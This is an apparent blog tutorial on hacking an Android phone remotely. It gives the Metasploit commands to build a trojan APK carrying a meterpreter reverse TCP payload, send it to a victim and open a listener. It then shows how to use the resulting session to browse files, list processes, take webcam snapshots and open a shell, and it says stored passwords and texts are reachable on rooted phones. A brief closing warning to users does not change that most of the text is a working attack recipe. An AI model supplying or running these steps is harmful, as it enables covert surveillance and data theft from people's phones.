<
Home / Android Tips / How To Hack Android Mobile Remotely Using Kali Linux

How To Hack Android Mobile Remotely Using Kali Linux

Hack Android Mobile Remotely :-

 

Let’s start,

Hack Android Mobile Remotely

 Creating a booby trapped APK file

 

Now we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.

1. In Kali Linux, open a terminal prompt and type:

sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R >app.apk

(Replace the highlighted part with your Kali Linux IP address in for the LHOST address and forwarded port in for theLPORT address.)
hacking

 

The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it.

Once this is run, a file called “app.apk” will be created:

hack mobile phone

 

2. Now just send this file to your Android device, I used a Smart Phone in this instance.

3. When the file is installing on the Android, it will come up like all apps and show you what capabilities it wants access to on your phone. It lists like every possibility I think, basically total access to the phone. This should be a warning to users that this isn’t an app that they should be running!

Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.

4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

5. Once Metasploit starts, type in the following to create a listener:

user exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.16 (enter your Kali IP address)
set lport 4444


Then just type exploit to start the handler:
android hacking

 

6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

7. A big button will appear on your phone that says, “ReverseTcp”, when it is pressed, your phone will connect out to the Metasploit system and a remote shell session is created.

On your Metaploit system you should see this:

hack android

 

An active session is created and it drops you automatically into a meterpreter prompt.

 

8. From here your can type “sysinfo” to get information on the device:

Hack mobile

 

9. You can see the processes running by typing, “ps”:

Hack Android Mobile Remotely
You are done!

Now you can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.

Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.

Typing “help” at a meterpreter prompt will list all the command that are available.

We can also run the shell command that will drop us into a direct Terminal shell if we want:

meterpreter > shell
Process 1 created.
Channel 1 created.
ls
The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.
Hack Android Mobile Remotely
But if the phone was rooted, I should have been able to access them… Remotely…This should be noted by people who have rooted their phone!
Hack Android Mobile Remotely
And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…

About Muhammad Kazafi

SEO Expert

Check Also

new secret whatsapp tricks

42 Top New Secret Whatsapp Tricks You Never Knew

New Secret Whatsapp Tricks:- Whatsapp is the most famous mobile messaging platform till date. But …